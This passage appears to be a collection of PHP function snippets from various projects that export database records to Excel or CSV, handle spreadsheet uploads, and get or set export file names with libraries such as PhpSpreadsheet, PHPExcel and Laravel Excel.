//allNames\r\n\t$worksheet->setColumn(8,8,25); //allCodes\r\n\t$worksheet->setColumn(9,9,5); //memberNames\r\n\t$worksheet->setColumn(10,10,5); //memberCodes\r\n\t$worksheet->setColumn(11,11,5); //memberData\r\n\r\n\t/* This freezes the first row of the worksheet: http://pear.php.net/manual/en/package.fileformats.spreadsheet-excel-writer.worksheet.freezepanes.php*/\r\n\t$worksheet->freezePanes(array(1, 0, 0, 0, 0));\r\n\r\n\t\t//do 1st row, column headings, in bold\r\n\t$format_bold = $workbook->addFormat();\r\n\t$format_bold->setBold();\r\n\tfor($i=0; $i < $numCols; $i++){\r\n\t\t$worksheet->write(0, $i, $arrayData[$i], $format_bold); //write(row, col, data, format)\r\n\t}//end for column headings\r\n\r\n\t\t//now loop thru writing the rows of actual data\r\n\t//$index = 0; //it was 0 but now we've done the first row\r\n\t$index\t\t\t= $numCols;\r\n\tfor ($row=1; $row < $numRows-1; $row++){\r\n\t\tfor($col=0; $col < $numCols; $col++){\r\n\t\t\t\t$strDebug .= \"<p>index = \" . $index . \"; row \" . $row . \" \";\r\n\t\t\t\t$strDebug .= \" col \" . $col . \": '\" . $arrayData[$index] . \"'\";\r\n\t\t\t$worksheet->write($row, $col, $arrayData[$index]); //UNFORMATTED: no 4th parameter\r\n\t\t\t$index++;\r\n\t\t}//end for columns\r\n\t\t$strDebug .= \"</p>\";\r\n\t}//end for rows\r\n\t//echo $strDebug;\r\n\r\n\t$workbook->close();\r\n\t//$workbook->send($filename); //this would send the new file to the browser\r\n\r\n\t$numBytes \t\t\t\t\t = filesize($filename); //php.net/manual/en/function.filesize.php\r\n\t$numKB\t\t\t\t\t\t\t = $numBytes / 1000;\r\n\t$writeFileSuccessMsg = generateSuccessMessage($displayFilename, $filename);\r\n\t$writeFileSuccessMsg = str_replace(\"REPLACE_DUMMY_STRING\", $numKB, $writeFileSuccessMsg);\r\n\techo $writeFileSuccessMsg;\r\n\r\n\treturn $filename;\r\n}", "public function getFile() {\n // Import a user provided file\n\n $file = Input::file('spreadsheet');\n\n $filename = time() . '_' . $file->getClientOriginalName();\n\n $file = $file->move('uploads/csv/', $filename);\n\n // Return it's location\n return $file->getPathname();\n }", "public function download_members_as_excel() {\n \t$members = User::select('last_name as Naam', 'first_name as Voornaam', 'vtv_nr as VTV', 'birth_date as Geboortedatum', 'gender as M/V', 'member_since as Lid sinds', 'gsm as GSMnr', 'tel as Telefoonnr', 'ranking_singles as E ' . date('Y'), 'ranking_singles as E', 'ranking_doubles as D')->orderBy('last_name')->orderBy('first_name')->get()->toArray();\n\n foreach ($members as $key => $member) {\n $member['E'] = substr($member['E'], strpos($member['E'], \"(\") + 1);\n $members[$key]['E'] = rtrim($member['E'], ')');\n $member['D'] = substr($member['D'], strpos($member['D'], \"(\") + 1);\n $members[$key]['D'] = rtrim($member['D'], ')');\n $members[$key]['Geboortedatum'] = date('d/m/Y', strtotime($member['Geboortedatum']));\n $members[$key]['Lid sinds'] = date('Y', strtotime($member['Lid sinds']));\n\n $members[$key]['GSMnr'] = substr($member['GSMnr'], 0, 4) . ' ' . chunk_split(substr($member['GSMnr'], 4), 2, ' ');\n $members[$key]['Telefoonnr'] = substr($member['Telefoonnr'], 0, 3) . ' ' . chunk_split(substr($member['Telefoonnr'], 3), 2, ' ');\n }\n \t//export members as Excel file\n return Excel::create('Ledenlijst_' . date('Y'), function($excel) use ($members) {\n $excel->sheet('mySheet', function($sheet) use ($members) {\n $sheet->fromArray($members);\n $sheet->cells('A1:L1', function($cells) {\n $cells->setBackground('#dddddd'); \n });\n });\n })->download('xlsx');\n }", "public function getExcelFile()\n {\n if( $this->use_excel_personer ) {\n return $this->getExcelFilePersoner();\n }\n \n $excel = new Excel(\n $this->getNavn() . ' oppdatert ' . date('d-m-Y') . ' kl '. date('Hi') . ' - ' . $this->getArrangement()->getNavn(),\n $this->getRenderDataInnslag(),\n $this->getConfig()\n );\n return $excel->writeToFile();\n }", "function getFileName()\n {\n return $this->fileName;\n }", "public function filename(): string;", "public function export()\n\t\t {\n\t\t\t return Excel::download(new UsersExport, 'users.xlsx');\n\t\t }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function getFileName() {\n\n return $this->_fileName;\n }", "public function getFileName(){\n return $this->finalFileName;\n }", "public function getExcelFilePersoner()\n {\n $excel = new ExcelPersoner(\n $this->getNavn() . ' oppdatert ' . date('d-m-Y') . ' kl '. date('Hi') . ' - ' . $this->getArrangement()->getNavn(),\n $this->getRenderDataPersoner(),\n $this->getConfig()\n );\n return $excel->writeToFile();\n }", "public function getFileName();", "public function getFileName();", "public function getFileName();", "public function excel()\n {\n Excel::create('Lista de vehiculos', function($excel) {\n $excel->sheet('Excel sheet', function($sheet) {\n //otra opción -> $products = Product::select('name')->get();\n\n $vehiculo = Transporte::join('empleados', 'empleados.id', '=', 'transportes.chofer_id')\n ->select('transportes.nombre_Unidad','transportes.no_Serie','transportes.placas','transportes.poliza_Seguro','transportes.vigencia_Seguro','transportes.aseguradora','transportes.m3_Unidad','transportes.capacidad', \\DB::raw(\"concat(empleados.nombre,' ',empleados.apellidos) as 'name'\"))\n ->where('empleados.estado', 'Activo')\n ->get(); \n $sheet->fromArray($vehiculo);\n $sheet->row(1,['Nombre Vehiculo','Numero Serie','Placas','Poliza Seguro','Vigencia Seguro','Aseguradora','Capacidad Ubica','Capacidad','Nombre Chofer']);\n\n $sheet->setOrientation('landscape');\n });\n })->export('xls');\n }", "public function __construct()\n {\n $this->file = 'sheet.xlsx';\n if( $this->data = SimpleXLSX::parse($this->file) ){\n $this->data = $this->data;\n } else {\n $this->data = \"Error could not find file.\";\n }\n }", "private function excelExport()\r\n {\r\n $result = true;\r\n // Extension\r\n if ($this->extensionType == 'Excel2007') {\r\n $this->fileName .= isset($this->extension) ? '.' . $this->extension : '.xlsx';\r\n } elseif ($this->extensionType == 'Excel5') {\r\n $this->fileName .= isset($this->extension) ? '.' . $this->extension : '.xls';\r\n } elseif ($this->extensionType == 'csv') {\r\n $this->fileName .= isset($this->extension) ? '.' . $this->extension : '.csv';\r\n } else {\r\n $this->log(CLogger::LEVEL_ERROR, 'Extension type is not supported.');\r\n $result = false;\r\n }\r\n // File\r\n if (!$this->stream)\r\n $this->filePath .= DIRECTORY_SEPARATOR . $this->fileName;\r\n // Header & Cell Styles\r\n if (!isset($this->headerStyle))\r\n $this->headerStyle = array(\r\n 'borders' => array(\r\n 'outline' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n 'color' => array('argb' => '000000')\r\n )\r\n ),\r\n 'font' => array(\r\n 'bold' => true\r\n )\r\n );\r\n if (!isset($this->cellStyle))\r\n $this->cellStyle = array(\r\n 'borders' => array(\r\n 'outline' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n 'color' => array('argb' => '000000')\r\n )\r\n )\r\n );\r\n // Columns\r\n if (!isset($this->columns)) {\r\n $this->columns = array();\r\n $allColumns = $this->model->getAttributes();\r\n foreach ($allColumns as $key => $value) {\r\n $this->columns[] = array(\r\n 'field' => $key,\r\n 'label' => $this->model->getAttributeLabel($key),\r\n 'type' => PHPExcel_Cell_DataType::TYPE_STRING,\r\n 'width' => 25,\r\n 'value' => null,\r\n 'itemAlias' => null,\r\n 'formatter' => null,\r\n 'headerStyle' => null,\r\n 'cellStyle' => null,\r\n 'visible' => true,\r\n );\r\n }\r\n if (is_null($allColumns) || count($allColumns) == 0) {\r\n $this->log(CLogger::LEVEL_ERROR, 'No column is available.');\r\n $result = false;\r\n }\r\n } else {\r\n $valid = true;\r\n foreach ($this->columns as $column) {\r\n if (!isset($column['field']) || !isset($column['label'])) {\r\n $valid = false;\r\n }\r\n }\r\n if (!$valid) {\r\n $this->log(CLogger::LEVEL_ERROR, 'An invalid column is provided. field and label attributes must be provided.');\r\n $result = false;\r\n }\r\n }\r\n if (isset($this->dataProvider)) {\r\n try {\r\n // PHPExcel instance\r\n $excel = new PHPExcel();\r\n PHPExcel_Cell::setValueBinder(new PHPExcel_Cell_AdvancedValueBinder());\r\n $excel->setActiveSheetIndex(0);\r\n $sheet = $excel->getActiveSheet();\r\n // Header\r\n $offset = 0;\r\n for ($column = 0; $column < count($this->columns); $column++) {\r\n if (isset($this->columns[$column]['visible']) && !$this->columns[$column]['visible']) {\r\n $offset++;\r\n } else {\r\n $sheet->getStyleByColumnAndRow($column-$offset, 1)->applyFromArray(isset($this->columns[$column]['headerStyle']) ? $this->columns[$column]['headerStyle'] : $this->headerStyle);\r\n $sheet->getCellByColumnAndRow($column-$offset, 1)->setValueExplicit($this->columns[$column]['label'], PHPExcel_Cell_DataType::TYPE_STRING);\r\n $sheet->getColumnDimensionByColumn($column-$offset)->setWidth(isset($this->columns[$column]['width']) ? $this->columns[$column]['width'] : 25);\r\n }\r\n }\r\n // Rows\r\n for ($row = 0; $row < count($this->dataProvider); $row++) {\r\n $offset = 0;\r\n for ($column = 0; $column < count($this->columns); $column++) {\r\n if (isset($this->columns[$column]['visible']) && !$this->columns[$column]['visible']) {\r\n $offset++;\r\n } else {\r\n $value = $this->getValue($row, $column);\r\n $sheet->getStyleByColumnAndRow($column-$offset, $row + 2)->applyFromArray(isset($this->columns[$column]['cellStyle']) ? $this->columns[$column]['cellStyle'] : $this->cellStyle);\r\n $sheet->getCellByColumnAndRow($column-$offset, $row + 2)->setValueExplicit($value, isset($this->columns[$column]['type']) ? $this->columns[$column]['type'] : PHPExcel_Cell_DataType::TYPE_STRING);\r\n }\r\n }\r\n $sheet->getRowDimension($row + 2)->setRowHeight(-1);\r\n }\r\n ob_end_clean();\r\n ob_start();\r\n $objWriter = PHPExcel_IOFactory::createWriter($excel, $this->extensionType);\r\n if ($this->stream) {\r\n header('Content-Type: application/vnd.ms-excel');\r\n header('Content-Disposition: attachment;filename=\"' . $this->fileName . '\"');\r\n header('Cache-Control: max-age=0');\r\n $objWriter->save('php://output');\r\n $excel->disconnectWorksheets();\r\n $result = true;\r\n } else {\r\n $objWriter->save($this->filePath);\r\n $excel->disconnectWorksheets();\r\n $result = Yii::app()->getBaseUrl(true).DIRECTORY_SEPARATOR.$this->mainPath.DIRECTORY_SEPARATOR.$this->subPath.DIRECTORY_SEPARATOR.$this->fileName;\r\n $result = str_replace(DIRECTORY_SEPARATOR, '/', $result);\r\n \r\n }\r\n } catch (Exception $e) {\r\n $this->log(CLogger::LEVEL_ERROR, 'PHPExcel Exception : ' . $e->getMessage());\r\n $result = false;\r\n }\r\n } else {\r\n $this->log(CLogger::LEVEL_ERROR, 'No data is provided.');\r\n $result = false;\r\n }\r\n return $result;\r\n }", "public function getFilename(){\n \n return $this->filename;\n \n }", "public function download()\n {\n $this->authorize('viewAny', User::class);\n\n return Excel::download(new UsersExport, 'users.xlsx');\n }", "public function ext() {\n\t\treturn \"xls\";\n\t}", "public function upload_file_excel($filename)\n {\n $this->load->library('upload');\n\n $config['upload_path'] = './upload/excel/';\n $config['allowed_types'] = 'xlsx';\n $config['max_size']\t= '8192';\n $config['overwrite'] = true;\n $config['file_name'] = $filename;\n\n $this->upload->initialize($config);\n if ($this->upload->do_upload('file')) {\n $return = array('result' => 'success', 'file' => $this->upload->data(), 'error' => '');\n return $return;\n }else{\n $return = array('result' => 'failed','file' => '','error' => $this->upload->display_errors());\n return $return;\n }\n\n }", "public function basic1(){\n //storage_path('local');\n\n //e.g. how to use elasticsearch ??? looks like it look trough the database\n// Member::search($keyword)->paginate(2);\n $res = Member::search(\"新名字\")->paginate(2);\nvar_dump($res);\n\n\n\n $spreadsheet = new Spreadsheet();\n $spreadsheet->getProperties()\n ->setCreator('Maarten Balliauw')\n ->setLastModifiedBy('Maarten Balliauw')\n ->setTitle('PhpSpreadsheet Test Document')\n ->setSubject('PhpSpreadsheet Test Document')\n ->setDescription('Test document for PhpSpreadsheet, generated using PHP classes.')\n ->setKeywords('office PhpSpreadsheet php')\n ->setCategory('Test result file');\n\n\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'Hello')\n ->setCellValue('B2', 'world!')\n ->setCellValue('C1', 'Hello')\n ->setCellValue('D2', 'world!');\n\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A4', 'Miscellaneous glyphs')\n ->setCellValue('A5', 'éàèùâêîôûëïüÿäöüç');\n\n $spreadsheet->getActiveSheet()\n ->setCellValue('A8', \"Hello\\nWorld\");\n $spreadsheet->getActiveSheet()\n ->getRowDimension(8)\n ->setRowHeight(-1);\n $spreadsheet->getActiveSheet()\n ->getStyle('A8')\n ->getAlignment()\n ->setWrapText(true);\n\n $value = \"-ValueA\\n-Value B\\n-Value C\";\n $spreadsheet->getActiveSheet()\n ->setCellValue('A10', $value);\n $spreadsheet->getActiveSheet()\n ->getRowDimension(10)\n ->setRowHeight(-1);\n $spreadsheet->getActiveSheet()\n ->getStyle('A10')\n ->getAlignment()\n ->setWrapText(true);\n $spreadsheet->getActiveSheet()\n ->getStyle('A10')\n ->setQuotePrefix(true);\n\n // Rename worksheet\n $spreadsheet->getActiveSheet()\n ->setTitle('Simple');\n $a = storage_path().'\\\\app\\\\public\\\\';\n $writer = new Xlsx($spreadsheet);\n\n// $writer->save($a.\"basic1.xlsx\");\n\n $reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xlsx();\n $worksheet = $reader->load($a.\"basic1.xlsx\")->getActiveSheet();\n $a = $worksheet->getCellByColumnAndRow(1,4);\n echo $a;\n\n return \"<h1>generated excel file basic1.xlsx in publi folder\";\n\n }", "public function exportExcel() \n {\n $st = ST::select(\n 'no_st',\n 'tanggal_st',\n 'tujuan_st',\n 'tipe', \n 'bidang',\n 'uraian',\n \n 'tanggal_mulai',\n 'tanggal_selesai',\n 'hp',\n 'no_laporan',\n 'tanggal_laporan',\n\n 'penanggung_jawab_id',\n 'pengendali_mutu_id',\n 'pengendali_teknis_id',\n 'ketua_tim_id', \n \n 'lokasi', \n 'biaya',\n 'km_id',\n 'costsheet_id'\n \n )->get();\n\n \n\n return Excel::create('data_tugas', function($excel) use ($st){\n $excel->sheet('st_bpkp', function($sheet) use ($st) {\n $sheet->fromArray($st);\n });\n })->download('xls');\n\n }", "abstract protected function _getFileName();", "public function setExcelFile($_setFile) {\n\t\t$this->_excelFileName = $_setFile;\n\t}", "public function excel($file) \n {\n // existe arquivo\n $exists = Storage::disk('local')->has('data/'.$file);\n // existe cache desse arquivo\n $existsCache = Cache::has($file);\n \n if (!$exists && !$existsCache) {\n exit('Arquivo não encontrado.');\n }\n\n // não existe o arquivo mas existe o cache : Duração 10 minutos\n if (!$exists) {\n $content = Cache::get($file);\n } else {\n $content = Storage::disk('local')->get('data/'.$file);\n $expiresAt = now()->addMinutes(10);\n Cache::put($file, $content, $expiresAt);\n }\n \n $retorno = $this->carregarLista($content);\n\n $excel = Exporter::make('Excel');\n $excel->load($retorno);\n return $excel->stream(str_replace('.txt', '', $file).\".xlsx\");\n }", "public function getFilePath(): string;", "public function getFilePath(): string;", "public function exportUsersExcel() {\n\n $handle = fopen('php://temp', 'w+');\n\n $header = [\n 'Name',\n ];\n\n fputcsv($handle, $header);\n\n $names = $this->exportUsersExcelService->csvExport();\n\n foreach ($names as $name) {\n\n fputcsv($handle, [$name->name]);\n }\n\n rewind($handle);\n\n $csv_data = stream_get_contents($handle);\n\n fclose($handle);\n\n $response = new Response();\n $response->headers->set('Content-Type', 'text/csv');\n $response->headers->set('Content-Disposition', 'attachment; filename=\"my_users.csv\"');\n $response->setContent($csv_data);\n\n return $response;\n\n }", "protected function filename()\n {\n return 'xpsfoldsheetdatatable_' . time();\n }", "private function initExcel()\n {\n $this->savePointer = function () {\n $arrayData = [];\n $arrayData[] = $this->headerRow;\n for ($i = 0; i < count($this->body); $i ++) {\n $arrayData[] = $this->body[$i];\n }\n $this->dataCollection->getActiveSheet()->fromArray($arrayData, NULL,\n 'A1');\n $writer = new Xlsx($this->dataCollection);\n $writer->save($this->reportPath);\n $this->dataCollection->disconnectWorksheets();\n unset($this->dataCollection);\n header('Content-type: application/vnd.ms-excel');\n header(\n 'Content-Disposition: attachment; filename=' . $this->reportTitle .\n '.xls');\n };\n }", "function createExcel(){\n $spreadsheet = new \\PhpOffice\\PhpSpreadsheet\\Spreadsheet();\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'Hello')\n ->setCellValue('B2', 'world!')\n ->setCellValue('C1', 'Hello')\n ->setCellValue('D2', 'world!');\n\n //Rename worksheet\n $spreadsheet->getActiveSheet()->setTitle('Simple');\n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\n $spreadsheet->setActiveSheetIndex(0);\n\n //Redirect output a client's web browser\n //header('Content-Type: application/octet-stream'); // unknown mime-type\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"01simple.xlsx\"');\n header('Cache-Control: max-age=0');\n\n //If you're serving to IE9, then the following may be needed\n header('Cache-Control: max-age=1');\n // If you're serving to IE over SSL, then the following may be needed\n header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n header ('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // always modified\n header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n $objWriter = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createWriter($spreadsheet,'Excel2007');\n $objWriter->save('php://output');\n}", "private function renderXlsx($filename)\n {\n //header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n //\theader('Content-Disposition: attachment;filename=\"'.$filename.'.xlsx\"');\n //\theader('Cache-Control: max-age=0');\n\n $this->objWriter = PHPExcel_IOFactory::createWriter($this->objPHPExcel, 'Excel2007');\n\n $this->objWriter->save($filename);\n\n unset($this->objWriter);\n unset($this->objWorksheet);\n unset($this->objReader);\n unset($this->objPHPExcel);\n\n\n //exit();\n }", "public function exportUser(Request $request)\n {\n $rq = $request->all();\n $data = User::where('role', DefineCode::ROLE_MEMBER)->orderBy('id', 'desc');\n if ($rq['search']) {\n $data = $data->where('name', 'like', '%' . $rq['search'] . '%')\n ->orWhere('email', 'like', '%' . $rq['search'] . '%')\n ->orWhere('phone', 'like', '%' . $rq['search'] . '%');\n }\n\n $data = $data->get();\n Excel::create('Danh sách User', function ($excel) use ($data) {\n $excel->sheet('Sheet 1', function ($sheet) use ($data) {\n $sheet->cell('A1:I1', function ($row) {\n $row->setBackground('#008686');\n $row->setFontColor('#ffffff');\n });\n $sheet->row(1, [\n 'ID',\n 'Name',\n 'Email',\n 'SĐT',\n 'Type',\n 'Address',\n 'Giới tính',\n 'Company',\n 'MST',\n ]);\n $i = 1;\n if ($data) {\n foreach ($data as $k => $ex) {\n $i++;\n $sheet->row($i, [\n @$ex->id,\n @$ex->name,\n @$ex->email,\n @$ex->phone,\n (@$ex->role == DefineCode::ROLE_MEMBER) ? 'Tài khoản cá nhân' : 'Tài khoản công ty',\n @$ex->address,\n (@$ex->gender == DefineCode::MALE) ? 'Nam' : 'Nữ',\n @$ex->company,\n @$ex->tax_code,\n ]);\n }\n }\n });\n })->export('xlsx');\n }", "public function export() \n {\n return Excel::download(new EmployesListe, 'employe.xlsx');\n }", "protected function buildExcelFile()\n {\n\n $width = array(\n 'A' => '1',\n 'B' => '2',\n 'C' => '2',\n 'D' => '2',\n 'E' => '2',\n 'F' => '1',\n 'G' => '2',\n 'H' => '3',\n );\n return Helpers::buildExcelFile($this->getFilename(), $this->getDataForExport(), $width);\n }", "public function excel() {\n // we're joining hypothetical users and payments tables, retrieving\n // the payments table's primary key, the user's first and last name,\n // the user's e-mail address, the amount paid, and the payment\n // timestamp.\n\n// $payments = Payment::join('users', 'users.id', '=', 'payments.id')\n// ->select(\n// 'payments.id',\n// \\DB::raw(\"concat(users.first_name, ' ', users.last_name) as `name`\"),\n// 'users.email',\n// 'payments.total',\n// 'payments.created_at')\n// ->get();\n $payments=User::where('id', '!=', Auth::id())->get();\n\n // Initialize the array which will be passed into the Excel\n // generator.\n $paymentsArray = [];\n\n // Define the Excel spreadsheet headers\n $paymentsArray[] = ['id', 'name','email','created_at','updated_at'];\n\n // Convert each member of the returned collection into an array,\n // and append it to the payments array.\n foreach ($payments as $payment) {\n $paymentsArray[] = $payment->toArray();\n }\n\n // Generate and return the spreadsheet\n Excel::create('payments', function($excel) use ($paymentsArray) {\n\n // Set the spreadsheet title, creator, and description\n $excel->setTitle('Payments');\n $excel->setCreator('Laravel')->setCompany('WJ Gilmore, LLC');\n $excel->setDescription('payments file');\n\n // Build the spreadsheet, passing in the payments array\n $excel->sheet('sheet1', function($sheet) use ($paymentsArray) {\n $sheet->fromArray($paymentsArray, null, 'A1', false, false);\n });\n\n })->download('xlsx');\n }", "public function setFileName(string $fileName): Excel\n {\n if (!pathinfo($fileName, PATHINFO_EXTENSION)) {\n $fileName .= '.xlsx';\n }\n $this->fileName = $fileName;\n\n return $this;\n }", "public function message()\n {\n return '请上传excel格式(支持.xls | .xlsx)的报表文件';\n }", "public function export_csv()\n {\n return Excel::download(new UsersExport, 'user.xlsx');\n }", "public function SendFile(){\r\n if(empty($this->XlsData))\r\n throw new exception('Xls data not available');\r\n header(\"Cache-Control: no-cache, must-revalidate\");\r\n header(\"Content-Description: ABG_PhpToXls Generated XLS Data\");\r\n header(\"Content-Disposition: attachment; filename=\\\"$this->_FileName\\\"\");\r\n header('Content-Transfer-Encoding: binary');\r\n header('Content-Type: application/force-download');\r\n header('Content-Type: application/octet-stream');\r\n header(\"Content-type: application/x-msexcel\");\r\n header(\"Expires: Mon, 1 Apr 1974 05:00:00 GMT\");\r\n header(\"Last-Modified: \".gmdate(\"D,d M YH:i:s\").\" GMT\");\r\n header(\"Pragma: no-cache\");\r\n print($this->XlsData);\r\n }", "public function SaveFile() {\r\n if(empty($this->XlsData))\r\n throw new exception('Xls data not available');\r\n $Path_ = $this->_XlsDir.DIRECTORY_SEPARATOR.$this->_FileName;\r\n $Hnd_ = @fopen($Path_, \"wb\");\r\n if($Hnd_===false)\r\n throw new exception(\"Unable to open Xls file <u><b>$Path_</b></u>\");\r\n fwrite($Hnd_, $this->XlsData);\r\n fclose($Hnd_);\r\n$Msg_ = <<< ABGHereDoc\r\n <div style=\"color: ActiveCaption; font: bold 18px sans-serif; padding-top:48px; text-align: center;\">\r\n File <span style=\"color: red;\">$Path_ </span> now saved to disk\r\n </div>\r\nABGHereDoc;\r\n if($this->PrtMsg)\r\n print($Msg_) ;\r\n }", "abstract protected function excel ();", "public function member()\n {\n \t$data = [\n \t\t'name', 'tempat_lahir', 'tanggal_lahir', 'id_card', 'email', 'telephone'\n \t];\n \tExcel::create('Template Pemohon PT APEI', function($excel) use ($data) {\n\n\t\t // Set the title\n\t\t $excel->setTitle('Template pemohon untuk import daftar pemohon');\n\t\t $excel->sheet('Sheet-01', function($sheet) use ($data)\n {\n $sheet->fromArray($data);\n });\n\t\t // Chain the setters\n\t\t $excel->setCreator('PT APEI')\n\t\t ->setCompany('PT APEI');\n\n\t\t // Call them separately\n\t\t $excel->setDescription('Template pemohon untuk import daftar pemohon');\n\n\t\t})->download('xls');\n }", "public function exportFile($type, $id=null){\n\n if ($id == null){\n\n $gerencias = Gerencia::all();\n\n return \\Excel::create('Gerencias', function($excel) use ($gerencias) {\n \n $excel->sheet('Data Gerencias', function($sheet) use ($gerencias)\n \n {\n $sheet->row(1, ['Gerencia Comercial', 'Dirección Comercial', 'Titular', 'Correo', 'Telélefono'\n\n ]);\n\n foreach ($gerencias as $key => $gerencia) {\n $sheet->row( $key + 2, [\n $gerencia->name, $gerencia->direccion->name, $gerencia->titular, $gerencia->email, $gerencia->phone\n ]);\n }\n \n });\n \n })->export($type);\n\n }else{\n\n $gerencia = Gerencia::find($id);\n\n return \\Excel::create($gerencia->name, function($excel) use ($gerencia) {\n \n $excel->sheet($gerencia->name, function($sheet) use ($gerencia) {\n $sheet->row(1, ['Gerencia Comercial', 'Dirección Comercial', 'Titular', 'Correo', 'Teléfono'\n ]);\n\n $sheet->row( 2, [\n $gerencia->name, $gerencia->direccion->name, $gerencia->titular, $gerencia->email, $gerencia->phone\n ]);\n \n });\n \n $excel->sheet('Data Oficinas', function($sheet) use ($gerencia) {\n\n $sheet->row(1, ['Oficina', 'Supervisor', 'Correo', 'Teléfono'\n\n ]);\n\n foreach ($gerencia->oficinas as $oficina) {\n\n foreach ($oficina->supervisors as $key => $supervisor) {\n $sheet->row( $key + 2, [\n $oficina->name, $supervisor->name, $supervisor->email, $supervisor->phone\n ]);\n }\n \n }\n \n });\n\n foreach ($gerencia->oficinas as $oficina) {\n $excel->sheet($oficina->name, function($sheet) use ($oficina) {\n $sheet->row(1, ['p00', 'Nombre', 'Rol', 'Correo', 'Teléfono', 'Oficina'\n ]);\n foreach ($oficina->history as $key => $personal) {\n $sheet->row( $key + 2, [\n $personal->personal->p00, $personal->personal->name, $personal->rol->name, $personal->personal->email, $personal->personal->phone, $personal->oficina->name\n ]);\n }\n });\n }\n })->export($type);\n }\n }", "public function get_filename()\n {\n }", "public function __construct()\n {\n parent::__construct();\n $this->Excel = new \\PHPExcel();\n }", "public function excel()\n {\n Excel::create('clientes', function($excel) {\n $excel->sheet('Excel sheet', function($sheet) {\n //otra opción -> $products = Product::select('name')->get();\n $clientes = Cliente::\n join('regimen_fiscal', 'regimen_fiscal.id','=','cliente.id_Regimen_Fiscal')\n ->select('cliente.nombre','cliente.rfc','cliente.contacto','regimen_fiscal.nombre as RegimenFiscal', 'cliente.telefono', 'cliente.email','cliente.codigo_Postal', 'cliente.direccion_fact', 'cliente.direccion_entr', 'cantidad_venta','cliente.volumen_venta', 'cliente.email', 'cliente.saldocliente','cliente.codigo_Postal')\n ->where('cliente.estado', 'Activo')\n ->get(); \n $sheet->fromArray($clientes);\n $sheet->row(1,['Nombre','RFC','Contacto', 'Regimen Fiscal' ,'Teléfono','Email','Codigo Postal','Dirección de Facturación','Dirección de Entrega de Embarque','Asignación de Cantidad de Venta por Año',' Asignación de Volumen de Venta por Año','Saldo Cliente $']);\n $sheet->setOrientation('landscape');\n \n\n });\n })->export('xls');\n }", "public static function ExcelDownload($filename) {\n header(\"Expires: Sat, 01 Jan 2000 00:00:00 GMT\");\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\n header(\"Pragma: public\");\n header(\"Expires: 0\");\n header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n header(\"Content-Description: File Transfer\");\n\n //session_cache_limiter(\"must-revalidate\");\n header(\"Content-Type: application/vnd.ms-excel\");\n header('Content-Type: text/html; charset=utf-8');\n header('Content-Disposition: attachment; filename=\"' . $filename . '.xls\"');\n }", "public function getFileName() {\n\t \t return $this->fileName;\n\t }", "public function getActionExcel() \n {\n\n $prospects = User::join('ciudad', 'usuarios.ciudad_id', '=', 'ciudad.id') \n ->join('pais', 'usuarios.pais_id', '=', 'pais.id') \n ->orderBy('usuarios.nombre','desc') \n ->select('usuarios.nombre as nombre','usuarios.usuario as usuario', \n 'usuarios.perfil as perfil','usuarios.estado as estado','usuarios.direccion as direccion', \n 'usuarios.created_at as created_at', 'usuarios.updated_at as updated_at',\n 'ciudad.nombre as 